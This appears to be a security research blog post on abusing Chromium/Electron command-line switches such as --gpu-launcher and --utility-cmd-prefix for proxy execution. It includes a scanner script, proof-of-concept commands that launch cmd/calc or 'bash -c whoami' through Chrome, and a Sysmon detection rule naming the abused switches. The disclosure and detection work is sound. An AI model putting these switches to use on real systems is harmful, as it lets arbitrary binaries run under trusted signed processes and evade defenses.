As red teamers, we are on a constant verge and quest to find new ideas and techniques to bypass defense systems and also potentially gain initial access. In recent times where initial access and defense evasion have become more challenging relative to the past, new offensive techniques are needed to also provide better defense from potentially undiscovered attack vectors. This blog will show you how seeing a specific attack path in a GitHub commit led us to find Proxy Execution capability in a wide array of binaries, which could allow attackers to execute any binary, bypass defenses, and potentially even gain an initial access as part of a weaponized malware in red team operations.
by: Uriel Kosayev — (MalFuzzer), Tamir Yehuda (Tamirye94), Hai Vaknin (vakninhai), Matan Bahar — (@Bl4ckShad3)
About Electron Framework and Chromium
The Electron framework is a popular open-source platform that enables developers to build cross-platform desktop applications using web technologies, Electron uses Chromium for rendering web pages, and it allows for the creation of desktop applications with native capabilities by combining the Chromium rendering engine, which powers Google Chrome, and the Node.js runtime. Chromium is an open-source project that serves as the foundation for various web browsers, including Google Chrome, Microsoft Edge, Opera, and many more. Chromium is also part of the code base of many other popular applications such as Discord, Visual Studio Code, Postman and Notion.
Where did it all start?
This article dives into a significant milestone that has altered our perception of Electron’s security — the insightful Git commit by the keen-eyed security researcher mr.d0x.In his commit to the widely recognized LoLBAS project, mr.d0x highlighted potential bypass security mechanisms, pointing specifically to the likes of Teams and MSEdge. After seeing his commit, we wondered why this attack works on both Teams and MSEdge and decided to dig a bit deeper into the root of it.
Finding the Common Ground
In an effort to discover similarities across various Electron-based compiled applications, we embarked on a study to identify recurrent patterns that might facilitate exploitation across diverse applications. We began with two applications that both support the command-line arguments — disable-gpu-sandbox and — gpu-launcher. Our initial approach was fairly straightforward: we checked for the existence of strings referencing the Electron framework within the binaries of msedge.exe and Teams.exe.
Then check references in the binary disassembled code:
Then it was interesting to validate that both the arguments of — disable-gpu-sandbox and — gpu-launcher are part of the Chromium Project with more than 250 other arguments as can be seen in the following screenshot:
Link reference to the Chromium content_switches.cc file: content/public/common/content_switches.cc — chromium/chromium — Git at Google (googlesource.com)
Furthermore, when we checked both the binaries of msedge.exe and Teams.exe using Detect-it-Easy, we found that they are both detected as executables that are using the Electron package as can be seen in the following screenshots:
We also found that the signature logic behind detecting the presence of the Electron frameworks in binaries is as follows:
If both the CPADinfo and .00cfg sections exist, it shows the presence of the Electron framework. It is also important to note that there is always a chance that this type of signature can raise an FP (False Positive) and will not be accurate, so it is important to take such situations into account.
To validate that both of those executables are compiled with both CPADinfo and .00cfg sections, we used the Total PE tool written by Pavel Yosifovich (@zodiacon):
After further investigation we found additional arguments that allow code execution:
We then wondered if this attack path is also possible on other operating systems and found that it can be exploited on Windows, macOS and Linux.
Also, we were curious about the scope of applications that are vulnerable to this vulnerability, so we asked using our friendly neighbor, ChatGPT:
We’ve devised a simple Python script that performs two distinct tasks. Firstly, the script checks for existing arguments within a previously referenced file. Secondly, it recursively enumerates all executables within a pristine Windows OS environment to identify potential Electron-based executables that may be vulnerable to exploitation.
import pefile
from pathlib import Path
import concurrent.futures
import art
from tqdm import tqdm
from colorama import Fore, init
# Initialize colorama
init()
def print_green(text):
print(f"{Fore.GREEN}{text}{Fore.RESET}")
def find_exe_files(directory):
# Use pathlib to find all .exe files in the directory
print_green("Searching for .exe files in the directory...")
try:
return [str(path) for path in Path(directory).rglob('*.exe')]
except OSError as e:
print_green(f"Error finding .exe files: {e}")
return []
def check_sections(file_path):
try:
pe = pefile.PE(file_path)
section_names = [section.Name.decode().rstrip('\x00') for section in pe.sections]
if "CPADinfo" in section_names and ".00cfg" in section_names:
return file_path
else:
return None
except (pefile.PEFormatError, FileNotFoundError, OSError) as e:
return None
# Define the root directory of the C: drive
directory = "C:\\"
text = art.text2art("ElectroNCutioner")
print(text)
print_green("Starting search from the root directory...")
# Find all exe files
exe_files = find_exe_files(directory)
print_green(f"Found {len(exe_files)} .exe files.")
# Create a list to hold the paths to the EXE files that contain the sections
matching_files = []
# Create a ThreadPoolExecutor
with concurrent.futures.ThreadPoolExecutor() as executor:
# Create a progress bar
progress = tqdm(total=len(exe_files), desc="Processing files", dynamic_ncols=True)
futures = [executor.submit(check_sections, file) for file in exe_files]
for future in concurrent.futures.as_completed(futures):
result = future.result()
if result is not None:
matching_files.append(result)
# Update the progress bar
progress.update(1)
# Close the progress bar
progress.close()
print_green(f"Found {len(matching_files)} matching files.")
# Write all the paths of the EXE files that contain both the "CPADinfo" and ".00cfg" sections to a file
try:
with open("C:\\Users\\Public\\matching_files.txt", 'w') as f:
for file in matching_files:
f.write(file + '\n')
print_green("Successfully wrote matching file paths to matching_files.txt.")
except (FileNotFoundError, OSError) as e:
print_green(f"Unable to write to file: {e}")
Those are the files that can be used for proxy execution on a fresh Windows machine:
Exploiting the Proxy-Execution Vulnerability
As the saying goes, one picture is worth thousands of words, so a PoC video is even more 😉
But for those of you who like to get your hands dirty:
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe /c calc.exe
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --disable-gpu-sandbox --gpu-launcher="/bin/bash -c whoami"
google-chrome --utility-cmd-prefix="/bin/bash -c whoami"
Detection
We reported this problem to Google and directly to the Electron framework team but sadly, they did not view this as an issue. We decided to create the following straightforward Sysmon rule to aid Incident Responders and Blue-Teamers in general to detect such exploitation attempts:
RuleGroup name="" groupRelation="or">
<ProcessCreate onmatch="include">
<Image condition="end with">.exe</Image>
<CommandLine condition="contains">--gpu-launcher</CommandLine>
<CommandLine condition="contains">--utility-cmd-prefix</CommandLine>
<CommandLine condition="contains">--browser-subprocess-path</CommandLine>
<CommandLine condition="contains">--renderer-cmd-prefix</CommandLine>
</ProcessCreate>
</RuleGroup>
Comments